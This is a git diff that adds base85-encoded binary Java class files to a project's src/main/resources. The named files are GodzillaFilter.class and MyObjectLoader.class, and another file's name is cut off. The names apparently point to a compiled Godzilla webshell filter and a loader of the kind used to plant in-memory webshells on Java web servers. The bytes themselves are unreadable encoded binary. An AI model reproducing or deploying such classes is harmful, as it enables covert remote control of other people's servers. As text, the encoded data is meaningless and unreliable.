z^m0*+;WwOzsIJ8!^P2m39Bdp-eLMlc0s_?U0oPeUNZ3j~&lenn4Zi~uorfS#mWQ8riW^sY`X>hyv7{77f09l{uZ zsPTl@3M)`1umK^LXeUfy7vk3!$WOZw$u35Gyae!lDac<2Z~r2^`*Ik`6)=cBQ1+ED ziZ7w}DqQt{nQnqH+=n*}enQuPgKNRm*MSA!P^xbOWj8&_r!Y(pD;(y9ya){VDaDJG z>PxAIm++}j{mFDQFIB2vNmuhSu7!JJU0%+0(B-AHnpf~jgpa2YIZwliB7$d4bI?x3 zv!onYg;#MsVilq~w}OH|#6EG^KE~@cP5s>5(#vZ_-QMQ{eZ0W|eK@_Zm8Tzld~SvL ztQ@_UFR1YGX6R#TA9py&$6F3^Of1CJ&lj~wJ7OtXdpVin?fs;+AVTz~_zS(f+wUsF z5|=YJdsT|BN%7ZH{LK_!2N>WR5JB8RC&k~n7o5+f>wtafC_6#ad7}x~e2LC`b#B#p zol;zm(p-&7tFD7|uLow|0Il5!=iLiB-vM@i7ub9YUjMlj?zsT!XhBm5P=({Ct(zue0g`wbsI1$e2+_2>Hd8F_L$ z=H(UV`P~Qk_xt%=zq>f^AU|K@@q2vyg7oM6^L_lHJdJY9D=04Tk5VJc{iBKtWMpB$ zU+CkPF#tBcmq+#UBXGDst(R^6#oAWQX#Z&MdqTtO_xku1dGg6L^;G1TS6p1|FA}=6 z!CzEdEOf_|`^WhBHAVOJy|l=mtFZI$E`^mLgjd&580pNoE& zl)n(2R=M-aju zqu7~A+0Jh^EDE@lSs zWB}oAL-Oz+Kox*0jdA=IFGDYE0c}#vYj~mQWsTA1po#pnrU5DCE#U_=hYIg?d^;c3 zki8FvZ7Xnq5P<|C+rZhsmC3DuMPWf|v!JBLS#gA_9rIkpu8Ifu)69xu*BnXEj?id; z8}hXNl$I;e)$e3^+T()5|4s_W{&K%lMG!6juvTFHA?1=N8~}Dcdrys%&D2T?)O0Kk zkn3ZZG~DngouF(z2lh6A^fZ%N!&@I2OseKU%7hr0i{0iUuN?~=PDBQKBHl!rMem?4 ze~T8=d$7j$vCId^u|HHXM)Kr|RH79^ayigmg_5-ktu5MU$jgZthUSIMxG+ak*|Adu zlhy>D%z_GSnoDUyo^oK_4kh7y2L=$j2#q)-(0p2v6`rqyvV_=lZYq12UffH0Wryj- zrXKQ0J_F%pik$M4R+0fOFbBsU4V*HR2b#w)0|;#(&$!NJ2W&kD@4M?XjSaQWGIJrt zD^{fGTCv1P^)v>1m!p`e+IUG1hgpcle=+!%y!CQUx<9t;r0bw zh^_eGaHHX-UbwE0Ch?d|YB0u@KTXM~V+xk}yV}^4j5?-hIoc@j>YzzVm1cd5jg7V| zM&66D6!Si$Ag?7nB3 z&L;sO1DTzVBd4jnk4eY=5pd2@^Ej%&j(K1+|tHXtY%6UK^%+q?Ka3 z&^;K!n+B$Mw0bC0bX65lMV?A48q3uel6{qXD8MN3J1YbY%8*88(kmE*!VyWxkL;({ z%lyt_B;=3#w8`mIMFGp>D9L=VYF{U% zoHkYRR^)YusZP?d$0*mQmEx$!Z`2rSfXtFC!ayl_P>zsF{214#1sqZ>`m~A+3q1oD z`?M-sGN_8l6#sHB6(2Kn4cF*B0}ToZi{xkt#|pUh;F(;Wv4we*{|QYn<2t~u4 zIsxz(p|DFL`rXPa>0T6ahj|sEX+6Enr_7pb(k_W7IgiHiHRzwBu*Sy| zRQwu_H8`HlhpjOdud-ZmuGpTm4IVqAhQRL)iaYbL7xy753qiAXvL?r}R_@PdC=7O? zS!ihUwE6gy)8}#!5%|*(eekKA&m?@FB5a;pYZhVF7NEj5XW}eb&2)HA96mK@o9f6+ oJp~27IW-_m$iLy63EL*7H=}7wG1QF-xkwT`Il0<0{MJbSe_{CdC;$Ke literal 0 HcmV?d00001 diff --git a/src/main/resources/GodzillaFilter.class b/src/main/resources/GodzillaFilter.class new file mode 100644 index 0000000000000000000000000000000000000000..3f712cf5ce601e88ab0286df89c40ea490168cba GIT binary patch literal 11109 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 literal 0 HcmV?d00001 diff --git a/src/main/resources/MyObjectLoader.class b/src/main/resources/MyObjectLoader.class new file mode 100644 index 0000000000000000000000000000000000000000..5e5bfd68c5d81c79bd1d0595685f49ca165bedbd GIT binary patch literal 4040 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 